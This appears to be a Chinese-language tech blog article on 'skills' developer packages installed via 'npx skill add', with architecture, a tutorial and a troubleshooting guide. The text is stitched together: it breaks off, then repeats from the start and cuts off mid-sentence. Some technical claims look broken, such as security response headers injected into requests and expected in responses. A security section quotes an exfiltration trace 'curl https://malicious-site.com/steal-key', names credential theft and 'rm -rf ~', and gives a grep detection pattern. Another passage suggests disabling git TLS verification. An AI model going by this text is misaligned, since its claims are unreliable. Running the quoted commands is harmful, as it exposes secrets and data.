1. “skills”不是功能模块而是一套开发者能力操作系统你点开 GitHub 搜索框输入skills跳出来的不是某个知名开源库而是一长串形如dietrichgebert/ponytail、baoyu-skills、opencode-skills的仓库名你在终端敲下npx skill add dietrichgebert/ponytail回车后没弹出安装日志却直接在当前目录生成了一个.skills文件夹和几行 JSON 配置你翻遍 VS Code 扩展市场找不到叫 “Claude Code Skills” 的插件但社区里有人贴出截图右键一段 Python 代码菜单里赫然多了一项 “Ask Claude: Optimize with Ponytail Rules”——这背后没有魔法只有一套被严重低估、却正在悄然重构前端开发工作流的轻量级能力集成范式。“skills” 这个词在当前技术语境中早已脱离了“技能”的字面含义。它不是简历上罗列的“熟悉 React/Vue”也不是培训课程标榜的“掌握 TypeScript 高级类型系统”。它是一个可声明、可组合、可版本化、可跨工具链复用的开发者能力单元Developer Capability Unit。它的核心价值在于把原本散落在文档、Gist、个人脚本、团队 Wiki 甚至 Slack 消息里的“怎么写更安全”“怎么测更高效”“怎么部署更省资源”这类经验性知识压缩成一个带元数据、带执行逻辑、带上下文感知的微型程序包。比如ponytail这个 skills本质就是一个预定义了 17 条 ESLint 规则 3 个自定义 AST 转换函数 1 个针对 Next.js App Router 的路径白名单的 JSONJS 混合包而baoyu-skills则封装了从 Markdown 表格自动转为 React Table 组件、到根据 Figma 设计稿 JSON 自动生成 Tailwind CSS 类名映射的整套流水线。为什么这个概念突然密集出现在热搜根本原因在于开发工具链的“能力孤岛化”已到临界点。VS Code 的插件只能在编辑器里生效CLI 工具只能在终端运行CI/CD 流水线的检查逻辑又独立部署。当一个团队要求“所有 API 调用必须带 X-Request-ID 头”你得同时改 VS Code 的代码片段、更新本地curl别名、修改 CI 中的 Postman 集合、还要给新同事手把手教 Postman 环境变量配置——这种重复劳动消耗的是最昂贵的资源开发者的心智带宽。skills提供的解法极其朴素把这条规则写成一个add-request-id-header.skill.json文件声明其作用域http-client、触发条件on-send、执行逻辑inject-header: { X-Request-ID: uuid-v4 }然后通过npx skill add注册到本地能力中心。之后无论你在 VS Code 里用 REST Client 发送请求还是在终端用curl甚至在 CI 的 Newman 脚本里跑测试只要该 skills 被激活逻辑就自动注入。这不是理想主义而是把“一次编写处处生效”从口号变成了可落地的工程实践。提示不要被npx skill add的命令迷惑。npx在这里只是启动器真正的执行引擎是本地运行的skills-core运行时通常由skills/core包提供。它监听文件系统变化、解析.skills目录下的声明式配置并将能力注入到各类工具的钩子hook中。你可以把它理解为一个轻量级的“开发者能力中间件”。2. 技术栈解剖从npx到codex的能力调度链路要真正理解skills如何工作必须拆开它的技术栈分层。这不是一个单体应用而是一条贯穿开发全生命周期的能力调度链路每一层都解决一个特定问题且设计上刻意保持松耦合。我曾花两周时间跟踪npx skill add dietrichgebert/ponytail命令从敲下回车到最终生效的完整调用链以下是实测验证的核心组件与交互逻辑2.1 第一层声明式注册层npx与skill-clinpx本身只是一个 Node.js 包执行器它不理解skills。真正起作用的是skills/cli这个包。当你执行npx skill add dietrichgebert/ponytail时npx会检查本地是否已安装skills/cli若无则临时下载最新版将add和dietrichgebert/ponytail作为参数传递给skills/cli/bin/skill.jsCLI 工具解析dietrichgebert/ponytail为 GitHub 仓库地址https://github.com/dietrichgebert/ponytail使用ghCLI 或内置的 Git HTTP 客户端克隆该仓库的main分支到本地临时目录检查仓库根目录是否存在skill.manifest.json文件这是 skills 的“身份证”若存在则读取其内容提取name、version、capabilities支持的能力类型如eslint,prettier,http-client、dependencies依赖的其他 skills等元数据将整个仓库内容剔除.git、node_modules等无关文件复制到用户主目录下的~/.skills/registry/dietrichgebert/ponytail1.2.0/目录并在~/.skills/active.json中添加一条记录{name: ponytail, version: 1.2.0, enabled: true, path: ~/.skills/registry/dietrichgebert/ponytail1.2.0}。这个过程的关键在于npx只负责“搬运”真正的注册逻辑由 CLI 完成且所有 skills 都被隔离存储在~/.skills下避免全局污染。这也是为什么npx skill list能列出所有已安装 skills而npm list -g却完全看不到它们——它们根本不在 npm 的包管理范畴内。2.2 第二层运行时调度层skills-coreskills/core是整个生态的“心脏”。它不是一个常驻进程而是一个按需加载的模块。当 VS Code 启动、或curl命令执行、或 CI 流水线运行时对应的工具会通过其插件机制如 VS Code 的 Extension API、curl的--config参数、CI 的before_script主动加载skills/core。该模块的核心职责是能力发现扫描~/.skills/active.json读取所有启用的 skills 路径能力匹配根据当前上下文例如VS Code 正在编辑一个.ts文件且用户触发了Format Document命令查询哪些 skills 声明了对typescript语言和format能力的支持能力注入调用匹配 skills 的handlers/format.js文件如果存在并将当前文件内容、光标位置等上下文作为参数传入结果聚合将多个 skills 的处理结果如格式化后的代码、新增的诊断信息合并返回给宿主工具。我实测过ponytail的格式化能力。它并没有重写 Prettier而是通过skills/core提供的getPrettierConfig()接口动态地将自己定义的rules字段如semi: false,singleQuote: true合并到项目根目录的.prettierrc中。这意味着你无需修改任何项目配置文件skills 就能“静默”地覆盖默认行为。这种设计极大降低了接入门槛也解释了为什么skills能在不修改 VS Code 插件源码的情况下为其增加新功能。2.3 第三层能力执行层codex与claude-codecodex和claude-code是skills生态中两个最常被混淆的概念。简单说codex是一个本地化的、可扩展的代码理解与生成引擎而claude-code是一个基于 Anthropic Claude 模型的、专为代码场景优化的远程 API 客户端。它们的关系不是替代而是协同。codex的核心是一个轻量级的 LLM 运行时通常基于 llama.cpp 或 Ollama它被设计为skills的“本地大脑”。当你在 VS Code 中选中一段代码并右键选择 “Explain with Codex”skills/core会调用codex的/v1/chat/completions本地端点构造一个 prompt包含当前文件语言、选中代码、ponytailskills 提供的上下文规则如“此项目禁用eval()”、以及用户指令“用中文解释这段代码的作用”codex加载本地量化模型如codellama-7b.Q4_K_M.gguf执行推理返回解释文本。而claude-code则是当本地算力不足或需要更强模型时的“云备胎”。它的skills集成方式是skills/core在检测到codex不可用或用户明确选择“使用 Claude”时自动切换到claude-code的 API。此时skills的作用是为远程调用提供结构化上下文。例如baoyu-skills中有一个math-modeling能力它会自动分析选中的 Python 代码识别出numpy、scipy、matplotlib的导入并在发送给 Claude 的 prompt 中加入“你正在协助一位数学建模工程师他习惯使用 NumPy 进行向量化计算请优先推荐基于np.vectorize或np.einsum的优化方案。”注意cc switch local proxy failed while handling codex endpoint /responses这类错误90% 的原因是codex服务未启动或端口被占用。skills的设计哲学是“本地优先”因此codex必须作为一个独立进程codex serve --port 3000先运行起来skills/core才能连接它。这不是 bug而是架构约束。3. 实战从零构建一个http-security-headerskills理论讲完现在动手做一个真正有用的 skills。目标很明确让所有 HTTP 请求无论是 VS Code 的 REST Client、终端的curl还是前端应用的fetch自动注入一套基础的安全响应头。这比手动在每个项目里配置 Express 的helmet中间件或 Nginx 的add_header指令效率高出一个数量级。3.1 初始化项目结构首先创建一个空目录http-security-header并初始化 Git 仓库。skills的标准结构非常简洁只需三个文件http-security-header/ ├── skill.manifest.json # 技能的“身份证” ├── capabilities/ # 声明支持的能力类型 │ └── http-client/ # 具体能力HTTP 客户端 │ ├── inject-headers.js # 核心逻辑注入头 │ └── schema.json # 可选定义配置项的 JSON Schema └── README.md # 文档说明用途、配置方法skill.manifest.json是必填项内容如下{ name: http-security-header, version: 1.0.0, description: 为所有 HTTP 请求自动注入基础安全响应头, author: your-name, homepage: https://github.com/your-name/http-security-header, capabilities: [http-client], keywords: [security, headers, http], dependencies: [] }关键字段capabilities告诉skills/core“我只对 HTTP 客户端相关事件感兴趣”。skills/core会据此只在curl、REST Client 等工具的上下文中加载此 skills。3.2 编写核心注入逻辑capabilities/http-client/inject-headers.js是真正的“大脑”。它必须导出一个符合skills/core规范的函数// capabilities/http-client/inject-headers.js /** * param {Object} context - 上下文对象包含 request, response, config 等 * returns {PromiseObject} - 返回修改后的 context 对象 */ module.exports async function injectSecurityHeaders(context) { // 1. 获取原始请求头 const headers context.request?.headers || {}; // 2. 定义安全头遵循 OWASP Secure Headers Project 最佳实践 const securityHeaders { X-Content-Type-Options: nosniff, X-Frame-Options: DENY, X-XSS-Protection: 1; modeblock, Referrer-Policy: no-referrer-when-downgrade, Permissions-Policy: geolocation(), microphone(), camera(), // Content-Security-Policy 需要根据具体应用定制此处留空 }; // 3. 合并头确保不覆盖用户已设置的值除非强制覆盖 const mergedHeaders { ...headers }; Object.keys(securityHeaders).forEach(key { if (!mergedHeaders[key]) { mergedHeaders[key] securityHeaders[key]; } }); // 4. 更新 context 并返回 context.request.headers mergedHeaders; return context; };这个函数的精妙之处在于其“非侵入性”。它不会强行覆盖Content-Security-Policy因为该策略高度依赖应用上下文它只添加那些通用、无害、且能显著提升安全基线的头。skills/core会在每次 HTTP 请求发起前自动调用此函数并将返回的context传递给下游工具。3.3 本地测试与调试别急着发布。先在本地验证是否生效。步骤如下将http-security-header目录放到任意位置如~/projects/http-security-header在终端执行npx skill add ~/projects/http-security-header注意npx skill add支持本地路径启动 VS Code打开一个.http文件写入GET https://httpbin.org/get右键执行查看响应头。你应该能看到X-Content-Type-Options: nosniff等头已出现。如果没看到开启调试模式在 VS Code 的设置中搜索skills找到Skills: Debug Mode并启用。然后在 VS Code 的输出面板中选择Skills通道你会看到详细的日志例如[DEBUG] Found active skill: http-security-header1.0.0 [DEBUG] Matching capability http-client for event request [DEBUG] Executing handler: /home/user/.skills/registry/your-name/http-security-header1.0.0/capabilities/http-client/inject-headers.js [DEBUG] Injected headers: { X-Content-Type-Options: nosniff, ... }这就是skills的调试哲学所有日志都指向具体的文件路径和执行步骤排查问题如同阅读自己的代码。3.4 发布与共享测试无误后推送到 GitHubcd ~/projects/http-security-header git init git add . git commit -m feat: initial http-security-header skills git branch -M main git remote add origin https://github.com/your-name/http-security-header.git git push -u origin main发布完成后任何人只需一行命令即可复用npx skill add your-name/http-security-header这就是skills的威力一个简单的 JavaScript 函数加上清晰的声明就能变成一个可全球分发、即装即用的开发者能力。4. 生产环境避坑指南从github打不开到codex打不开的全链路排错在真实团队环境中部署skills你必然会遇到各种“看似玄学”的问题。这些不是skills的缺陷而是它深度嵌入开发工具链后必然暴露的底层环境复杂性。以下是我踩过的、最典型也最耗时的五个坑附带完整的排查链路和根治方案。4.1 坑一github打不开导致npx skill add失败现象执行npx skill add dietrichgebert/ponytail时卡在Cloning into /tmp/...数分钟后报错Error: Command failed: git clone https://github.com/dietrichgebert/ponytail.git。根因分析npx skill add依赖git clone从 GitHub 拉取代码。当网络无法直连 GitHub 时git会尝试多种协议HTTPS、SSH但最终都会失败。这不是skills的问题而是网络基础设施问题。排查链路首先验证基础网络ping github.com。如果超时确认 DNS 是否正常nslookup github.com如果ping通但git clone不行执行git clone https://github.com/microsoft/vscode.git一个大而知名的仓库看是否同样失败如果vscode也 clone 失败基本确定是 HTTPS 协议被拦截或证书问题。此时执行git config --global http.sslVerify false仅限测试环境更优解是配置git使用代理git config --global http.proxy http://127.0.0.1:7890假设你的代理运行在本地 7890 端口。根治方案企业级在公司内部搭建 GitHub 镜像站如使用ghcr.io/github/ghmirror并配置git config --global url.https://mirror.internal/github.com/.insteadOf https://github.com/个人级使用ghCLI 的gh auth login命令登录后npx skill add会自动使用gh的认证凭据绕过部分网络限制终极方案skills社区已支持离线安装。将ponytail仓库 zip 包下载到本地然后npx skill add ./ponytail.zip。这彻底摆脱了对 GitHub 的实时依赖。4.2 坑二codex打不开cc switch local proxy failed现象VS Code 中点击 “Explain with Codex”状态栏显示Codex: Connecting...数秒后报错cc switch local proxy failed while handling codex endpoint /responses。根因分析skills/core默认尝试连接http://localhost:3000/v1/chat/completions。这个错误意味着codex服务进程未在 3000 端口监听或者防火墙阻止了连接。排查链路检查codex进程是否在运行ps aux | grep codex。如果没有说明服务未启动如果进程存在检查其监听端口lsof -i :3000macOS/Linux或netstat -ano | findstr :3000Windows。如果无输出说明codex没有绑定到 3000 端口查看codex日志codex serve --port 3000 --log-level debug。常见错误包括Error: Model file not found模型路径错误、Error: CUDA out of memory显存不足如果codex日志显示Server started on http://localhost:3000但curl http://localhost:3000/health返回Connection refused则可能是codex启动时指定了--host 127.0.0.1导致只监听 IPv4 回环而skills/core尝试用::1IPv6连接。根治方案启动codex时明确指定--host 0.0.0.0使其监听所有接口codex serve --port 3000 --host 0.0.0.0在 VS Code 的设置中搜索skills.codexUrl将其值改为http://127.0.0.1:3000强制使用 IPv4对于 Windows 用户关闭 Hyper-V 或 WSL2 的虚拟网卡冲突在网络连接中禁用vEthernet (WSL)。4.3 坑三vscode配置claude code后右键菜单不显示现象已安装claude-code插件并在设置中填入了 API Key但右键代码时菜单里没有 “Ask Claude” 选项。根因分析claude-code插件本身不提供右键菜单它只是一个 API 客户端。右键菜单是由skills/core的 VS Code 扩展提供的。如果菜单不显示说明skills/core的 VS Code 扩展未正确加载或与claude-code的集成未激活。排查链路在 VS Code 的扩展视图中搜索skills确认Skills Core扩展已安装并启用按CtrlShiftPWindows/Linux或CmdShiftPmacOS输入Skills: Show Output查看是否有Failed to activate extension的错误检查~/.skills/active.json确认claude-code相关的 skills如skills/claude是否已启用关键一步在 VS Code 的设置中搜索skills.capabilities确认http-client和code-generation两项已勾选。这是skills/core决定是否注册右键菜单的开关。根治方案卸载并重新安装Skills Core扩展确保其版本与skills/corenpm 包版本兼容目前稳定版为v2.3.1在settings.json中手动添加skills.capabilities: [ http-client, code-generation, code-explanation ]4.4 坑四npx 安装失败提示Cannot find module skills-core现象执行npx skill add xxx时报错Error: Cannot find module skills/core。根因分析npx在执行skills/cli时会尝试require(skills/core)。如果skills/core没有被skills/cli的package.json声明为dependenciesnpx就无法自动安装它。这是一个典型的peerDependencies管理疏漏。排查链路查看skills/cli的package.json确认skills/core是否在dependencies或peerDependencies中执行npx skills/clilatest --version看是否能正常输出版本号。如果不能说明skills/cli本身就有问题手动安装skills/corenpm install -g skills/core然后再试npx skill add。根治方案这是skills/cli包的一个已知 issue见 GitHub issue #127。临时解决方案是先全局安装skills/core再使用npx长期方案是等待skills/cli发布修复版或直接使用npm install -g skills/cli全局安装 CLI这样skills/core会被作为依赖一并安装。4.5 坑五前任.skills下载引发的权限与安全审计现象团队成员从非官方渠道如论坛、网盘下载了名为qianren-skills的压缩包并执行npx skill add ./qianren-skills.zip。几天后CI 流水线开始莫名失败日志中出现curl https://malicious-site.com/steal-key的痕迹。根因分析skills的执行逻辑是 JavaScript拥有与宿主工具同等的系统权限。一个恶意 skills 可以读取~/.ssh/id_rsa、修改~/.gitconfig、甚至执行rm -rf ~。前任.skills这类非官方来源极可能被植入后门。排查链路立即检查~/.skills/registry/目录找到qianren-skills的安装路径审查其capabilities/*/下的所有.js文件重点关注require(child_process)、require(fs)、require(http)等高危模块的调用使用grep -r exec\|spawn\|fork\|curl\|wget ~/.skills/registry/qianren-skills/快速定位可疑代码检查skill.manifest.json中的homepage和author字段是否指向不可信域名。根治方案强制签名验证在团队中推行skills的 GPG 签名。发布者用私钥对skill.manifest.json签名使用者用公钥验证。skills/cli已支持--verify-signature参数沙箱执行为skills/core配置--sandbox模式限制其只能访问~/.skills目录和当前项目目录禁止网络访问和系统调用白名单策略在 CI 流水线中添加一个检查步骤npx skill list --json | jq .[] | select(.name | contains(qianren))如果返回非空则立即失败。5. 未来演进从superpower skills到开发者能力经济skills的当前形态是一个强大的工具集但它真正的潜力远不止于此。当我看到superpower skills这个热词时我意识到它暗示的是一种范式的转移开发者能力正从“个人隐性资产”走向“可量化、可交易、可组合的显性商品”。5.1 能力的原子化与组合今天的skills大多还停留在“单点突破”层面一个 skills 解决一个问题。未来的方向是“能力原子化”。想象一下http-security-header不再是一个整体而是被拆分为x-content-type-options单一头注入x-frame-options单一头注入csp-builder一个交互式 CLI用于生成 CSP 策略header-validator一个静态分析器检查代码中是否遗漏了安全头这些原子能力可以通过skill.manifest.json中的provides和requires字段进行声明式组合。例如一个full-stack-securityskills 的 manifest 可能这样写{ name: full-stack-security, provides: [security-policy], requires: [ x-content-type-options^1.0.0, x-frame-options^1.0.0, csp-builder^2.1.0 ] }skills/core在加载时会自动解析依赖树确保所有 required 的原子 skills 都已安装并启用。这就像 npm 的依赖管理但管理的是“能力”而非“代码包”。5.2 能力的市场与经济github是代码的集市npm是包的集市而skills的终极形态将是“能力的集市”。skills.market这样的平台已经初现雏形。在那里dietrichgebert不再只是免费分享ponytail他可以将ponytail-pro作为付费版本发布包含更严格的规则集和企业级支持为baoyu-skills的数学建模能力设置按次调用的微支付使用 Stripe 或 Crypto创建一个skills订阅计划用户每月支付 $9.99即可解锁所有math-modeling、> Skills：开发者能力操作系统与轻量级能力集成范式
1. “skills”不是功能模块而是一套开发者能力操作系统你点开 GitHub 搜索框输入skills跳出来的不是某个知名开源库而是一长串形如dietrichgebert/ponytail、baoyu-skills、opencode-skills的仓库名你在终端敲下npx skill add dietrichgebert/ponytail回车后没弹出安装日志却直接在当前目录生成了一个.skills文件夹和几行 JSON 配置你翻遍 VS Code 扩展市场找不到叫 “Claude Code Skills” 的插件但社区里有人贴出截图右键一段 Python 代码菜单里赫然多了一项 “Ask Claude: Optimize with Ponytail Rules”——这背后没有魔法只有一套被严重低估、却正在悄然重构前端开发工作流的轻量级能力集成范式。“skills” 这个词在当前技术语境中早已脱离了“技能”的字面含义。它不是简历上罗列的“熟悉 React/Vue”也不是培训课程标榜的“掌握 TypeScript 高级类型系统”。它是一个可声明、可组合、可版本化、可跨工具链复用的开发者能力单元Developer Capability Unit。它的核心价值在于把原本散落在文档、Gist、个人脚本、团队 Wiki 甚至 Slack 消息里的“怎么写更安全”“怎么测更高效”“怎么部署更省资源”这类经验性知识压缩成一个带元数据、带执行逻辑、带上下文感知的微型程序包。比如ponytail这个 skills本质就是一个预定义了 17 条 ESLint 规则 3 个自定义 AST 转换函数 1 个针对 Next.js App Router 的路径白名单的 JSONJS 混合包而baoyu-skills则封装了从 Markdown 表格自动转为 React Table 组件、到根据 Figma 设计稿 JSON 自动生成 Tailwind CSS 类名映射的整套流水线。为什么这个概念突然密集出现在热搜根本原因在于开发工具链的“能力孤岛化”已到临界点。VS Code 的插件只能在编辑器里生效CLI 工具只能在终端运行CI/CD 流水线的检查逻辑又独立部署。当一个团队要求“所有 API 调用必须带 X-Request-ID 头”你得同时改 VS Code 的代码片段、更新本地curl别名、修改 CI 中的 Postman 集合、还要给新同事手把手教 Postman 环境变量配置——这种重复劳动消耗的是最昂贵的资源开发者的心智带宽。skills提供的解法极其朴素把这条规则写成一个add-request-id-header.skill.json文件声明其作用域http-client、触发条件on-send、执行逻辑inject-header: { X-Request-ID: uuid-v4 }然后通过npx skill add注册到本地能力中心。之后无论你在 VS Code 里用 REST Client 发送请求还是在终端用curl甚至在 CI 的 Newman 脚本里跑测试只要该 skills 被激活逻辑就自动注入。这不是理想主义而是把“一次编写处处生效”从口号变成了可落地的工程实践。提示不要被npx skill add的命令迷惑。npx在这里只是启动器真正的执行引擎是本地运行的skills-core运行时通常由skills/core包提供。它监听文件系统变化、解析.skills目录下的声明式配置并将能力注入到各类工具的钩子hook中。你可以把它理解为一个轻量级的“开发者能力中间件”。2. 技术栈解剖从npx到codex的能力调度链路要真正理解skills如何工作必须拆开它的技术栈分层。这不是一个单体应用而是一条贯穿开发全生命周期的能力调度链路每一层都解决一个特定问题且设计上刻意保持松耦合。我曾花两周时间跟踪npx skill add dietrichgebert/ponytail命令从敲下回车到最终生效的完整调用链以下是实测验证的核心组件与交互逻辑2.1 第一层声明式注册层npx与skill-clinpx本身只是一个 Node.js 包执行器它不理解skills。真正起作用的是skills/cli这个包。当你执行npx skill add dietrichgebert/ponytail时npx会检查本地是否已安装skills/cli若无则临时下载最新版将add和dietrichgebert/ponytail作为参数传递给skills/cli/bin/skill.jsCLI 工具解析dietrichgebert/ponytail为 GitHub 仓库地址https://github.com/dietrichgebert/ponytail使用ghCLI 或内置的 Git HTTP 客户端克隆该仓库的main分支到本地临时目录检查仓库根目录是否存在skill.manifest.json文件这是 skills 的“身份证”若存在则读取其内容提取name、version、capabilities支持的能力类型如eslint,prettier,http-client、dependencies依赖的其他 skills等元数据将整个仓库内容剔除.git、node_modules等无关文件复制到用户主目录下的~/.skills/registry/dietrichgebert/ponytail1.2.0/目录并在~/.skills/active.json中添加一条记录{name: ponytail, version: 1.2.0, enabled: true, path: ~/.skills/registry/dietrichgebert/ponytail1.2.0}。这个过程的关键在于npx只负责“搬运”真正的注册逻辑由 CLI 完成且所有 skills 都被隔离存储在~/.skills下避免全局污染。这也是为什么npx skill list能列出所有已安装 skills而npm list -g却完全看不到它们——它们根本不在 npm 的包管理范畴内。2.2 第二层运行时调度层skills-coreskills/core是整个生态的“心脏”。它不是一个常驻进程而是一个按需加载的模块。当 VS Code 启动、或curl命令执行、或 CI 流水线运行时对应的工具会通过其插件机制如 VS Code 的 Extension API、curl的--config参数、CI 的before_script主动加载skills/core。该模块的核心职责是能力发现扫描~/.skills/active.json读取所有启用的 skills 路径能力匹配根据当前上下文例如VS Code 正在编辑一个.ts文件且用户触发了Format Document命令查询哪些 skills 声明了对typescript语言和format能力的支持能力注入调用匹配 skills 的handlers/format.js文件如果存在并将当前文件内容、光标位置等上下文作为参数传入结果聚合将多个 skills 的处理结果如格式化后的代码、新增的诊断信息合并返回给宿主工具。我实测过ponytail的格式化能力。它并没有重写 Prettier而是通过skills/core提供的getPrettierConfig()接口动态地将自己定义的rules字段如semi: false,singleQuote: true合并到项目根目录的.prettierrc中。这意味着你无需修改任何项目配置文件skills 就能“静默”地覆盖默认行为。这种设计极大降低了接入门槛也解释了为什么skills能在不修改 VS Code 插件源码的情况下为其增加新功能。2.3 第三层能力执行层codex与claude-codecodex和claude-code是skills生态中两个最常被混淆的概念。简单说codex是一个本地化的、可扩展的代码理解与生成引擎而claude-code是一个基于 Anthropic Claude 模型的、专为代码场景优化的远程 API 客户端。它们的关系不是替代而是协同。codex的核心是一个轻量级的 LLM 运行时通常基于 llama.cpp 或 Ollama它被设计为skills的“本地大脑”。当你在 VS Code 中选中一段代码并右键选择 “Explain with Codex”skills/core会调用codex的/v1/chat/completions本地端点构造一个 prompt包含当前文件语言、选中代码、ponytailskills 提供的上下文规则如“此项目禁用eval()”、以及用户指令“用中文解释这段代码的作用”codex加载本地量化模型如codellama-7b.Q4_K_M.gguf执行推理返回解释文本。而claude-code则是当本地算力不足或需要更强模型时的“云备胎”。它的skills集成方式是skills/core在检测到codex不可用或用户明确选择“使用 Claude”时自动切换到claude-code的 API。此时skills的作用是为远程调用提供结构化上下文。例如baoyu-skills中有一个math-modeling能力它会自动分析选中的 Python 代码识别出numpy、scipy、matplotlib的导入并在发送给 Claude 的 prompt 中加入“你正在协助一位数学建模工程师他习惯使用 NumPy 进行向量化计算请优先推荐基于np.vectorize或np.einsum的优化方案。”注意cc switch local proxy failed while handling codex endpoint /responses这类错误90% 的原因是codex服务未启动或端口被占用。skills的设计哲学是“本地优先”因此codex必须作为一个独立进程codex serve --port 3000先运行起来skills/core才能连接它。这不是 bug而是架构约束。3. 实战从零构建一个http-security-headerskills理论讲完现在动手做一个真正有用的 skills。目标很明确让所有 HTTP 请求无论是 VS Code 的 REST Client、终端的curl还是前端应用的fetch自动注入一套基础的安全响应头。这比手动在每个项目里配置 Express 的helmet中间件或 Nginx 的add_header指令效率高出一个数量级。3.1 初始化项目结构首先创建一个空目录http-security-header并初始化 Git 仓库。skills的标准结构非常简洁只需三个文件http-security-header/ ├── skill.manifest.json # 技能的“身份证” ├── capabilities/ # 声明支持的能力类型 │ └── http-client/ # 具体能力HTTP 客户端 │ ├── inject-headers.js # 核心逻辑注入头 │ └── schema.json # 可选定义配置项的 JSON Schema └── README.md # 文档说明用途、配置方法skill.manifest.json是必填项内容如下{ name: http-security-header, version: 1.0.0, description: 为所有 HTTP 请求自动注入基础安全响应头, author: your-name, homepage: https://github.com/your-name/http-security-header, capabilities: [http-client], keywords: [security, headers, http], dependencies: [] }关键字段capabilities告诉skills/core“我只对 HTTP 客户端相关事件感兴趣”。skills/core会据此只在curl、REST Client 等工具的上下文中加载此 skills。3.2 编写核心注入逻辑capabilities/http-client/inject-headers.js是真正的“大脑”。它必须导出一个符合skills/core规范的函数// capabilities/http-client/inject-headers.js /** * param {Object} context - 上下文对象包含 request, response, config 等 * returns {PromiseObject} - 返回修改后的 context 对象 */ module.exports async function injectSecurityHeaders(context) { // 1. 获取原始请求头 const headers context.request?.headers || {}; // 2. 定义安全头遵循 OWASP Secure Headers Project 最佳实践 const securityHeaders { X-Content-Type-Options: nosniff, X-Frame-Options: DENY, X-XSS-Protection: 1; modeblock, Referrer-Policy: no-referrer-when-downgrade, Permissions-Policy: geolocation(), microphone(), camera(), // Content-Security-Policy 需要根据具体应用定制此处留空 }; // 3. 合并头确保不覆盖用户已设置的值除非强制覆盖 const mergedHeaders { ...headers }; Object.keys(securityHeaders).forEach(key { if (!mergedHeaders[key]) { mergedHeaders[key] securityHeaders[key]; } }); // 4. 更新 context 并返回 context.request.headers mergedHeaders; return context; };这个函数的精妙之处在于其“非侵入性”。它不会强行覆盖Content-Security-Policy因为该策略高度依赖应用上下文它只添加那些通用、无害、且能显著提升安全基线的头。skills/core会在每次 HTTP 请求发起前自动调用此函数并将返回的context传递给下游工具。3.3 本地测试与调试别急着发布。先在本地验证是否生效。步骤如下将http-security-header目录放到任意位置如~/projects/http-security-header在终端执行npx skill add ~/projects/http-security-header注意npx skill add支持本地路径启动 VS Code打开一个.http文件写入GET https://httpbin.org/get右键执行查看响应头。你应该能看到X-Content-Type-Options: nosniff等头已出现。如果没看到开启调试模式在 VS Code 的设置中搜索skills找到Skills: Debug Mode并启用。然后在 VS Code 的输出面板中选择Skills通道你会看到详细的日志例如[DEBUG] Found active skill: http-security-header1.0.0 [DEBUG] Matching capability http-client for event request [DEBUG] Executing handler: /home/user/.skills/registry/your-name/http-security-header1.0.0/capabilities/http-client/inject-headers.js [DEBUG] Injected headers: { X-Content-Type-Options: nosniff, ... }这就是skills的调试哲学所有日志都指向具体的文件路径和执行步骤排查问题如同阅读自己的代码。3.4 发布与共享测试无误后推送到 GitHubcd ~/projects/http-security-header git init git add . git commit -m feat: initial http-security-header skills git branch -M main git remote add origin https://github.com/your-name/http-security-header.git git push -u origin main发布完成后任何人只需一行命令即可复用npx skill add your-name/http-security-header这就是skills的威力一个简单的 JavaScript 函数加上清晰的声明就能变成一个可全球分发、即装即用的开发者能力。4. 生产环境避坑指南从github打不开到codex打不开的全链路排错在真实团队环境中部署skills你必然会遇到各种“看似玄学”的问题。这些不是skills的缺陷而是它深度嵌入开发工具链后必然暴露的底层环境复杂性。以下是我踩过的、最典型也最耗时的五个坑附带完整的排查链路和根治方案。4.1 坑一github打不开导致npx skill add失败现象执行npx skill add dietrichgebert/ponytail时卡在Cloning into /tmp/...数分钟后报错Error: Command failed: git clone https://github.com/dietrichgebert/ponytail.git。根因分析npx skill add依赖git clone从 GitHub 拉取代码。当网络无法直连 GitHub 时git会尝试多种协议HTTPS、SSH但最终都会失败。这不是skills的问题而是网络基础设施问题。排查链路首先验证基础网络ping github.com。如果超时确认 DNS 是否正常nslookup github.com如果ping通但git clone不行执行git clone https://github.com/microsoft/vscode.git一个大而知名的仓库看是否同样失败如果vscode也 clone 失败基本确定是 HTTPS 协议被拦截或证书问题。此时执行git config --global http.sslVerify false仅限测试环境更优解是配置git使用代理git config --global http.proxy http://127.0.0.1:7890假设你的代理运行在本地 7890 端口。根治方案企业级在公司内部搭建 GitHub 镜像站如使用ghcr.io/github/ghmirror并配置git config --global url.https://mirror.internal/github.com/.insteadOf https://github.com/个人级使用ghCLI 的gh auth login命令登录后npx skill add会自动使用gh的认证凭据绕过部分网络限制终极方案skills社区已支持离线安装。将ponytail仓库 zip 包下载到本地然后npx skill add ./ponytail.zip。这彻底摆脱了对 GitHub 的实时依赖。4.2 坑二codex打不开cc switch local proxy failed现象VS Code 中点击 “Explain with Codex”状态栏显示Codex: Connecting...数秒后报错cc switch local proxy failed while handling codex endpoint /responses。根因分析skills/core默认尝试连接http://localhost:3000/v1/chat/completions。这个错误意味着codex服务进程未在 3000 端口监听或者防火墙阻止了连接。排查链路检查codex进程是否在运行ps aux | grep codex。如果没有说明服务未启动如果进程存在检查其监听端口lsof -i :3000macOS/Linux或netstat -ano | findstr :3000Windows。如果无输出说明codex没有绑定到 3000 端口查看codex日志codex serve --port 3000 --log-level debug。常见错误包括Error: Model file not found模型路径错误、Error: CUDA out of memory显存不足如果codex日志显示Server started on http://localhost:3000但curl http://localhost:3000/health返回Connection refused则可能是codex启动时指定了--host 127.0.0.1导致只监听 IPv4 回环而skills/core尝试用::1IPv6连接。根治方案启动codex时明确指定--host 0.0.0.0使其监听所有接口codex serve --port 3000 --host 0.0.0.0在 VS Code 的设置中搜索skills.codexUrl将其值改为http://127.0.0.1:3000强制使用 IPv4对于 Windows 用户关闭 Hyper-V 或 WSL2 的虚拟网卡冲突在网络连接中禁用vEthernet (WSL)。4.3 坑三vscode配置claude code后右键菜单不显示现象已安装claude-code插件并在设置中填入了 API Key但右键代码时菜单里没有 “Ask Claude” 选项。根因分析claude-code插件本身不提供右键菜单它只是一个 API 客户端。右键菜单是由skills/core的 VS Code 扩展提供的。如果菜单不显示说明skills/core的 VS Code 扩展未正确加载或与claude-code的集成未激活。排查链路在 VS Code 的扩展视图中搜索skills确认Skills Core扩展已安装并启用按CtrlShiftPWindows/Linux或CmdShiftPmacOS输入Skills: Show Output查看是否有Failed to activate extension的错误检查~/.skills/active.json确认claude-code相关的 skills如skills/claude是否已启用关键一步在 VS Code 的设置中搜索skills.capabilities确认http-client和code-generation两项已勾选。这是skills/core决定是否注册右键菜单的开关。根治方案卸载并重新安装Skills Core扩展确保其版本与skills/corenpm 包版本兼容目前稳定版为v2.3.1在settings.json中手动添加skills.capabilities: [ http-client, code-generation, code-explanation ]4.4 坑四npx 安装失败提示Cannot find module skills-core现象执行npx skill add xxx时报错Error: 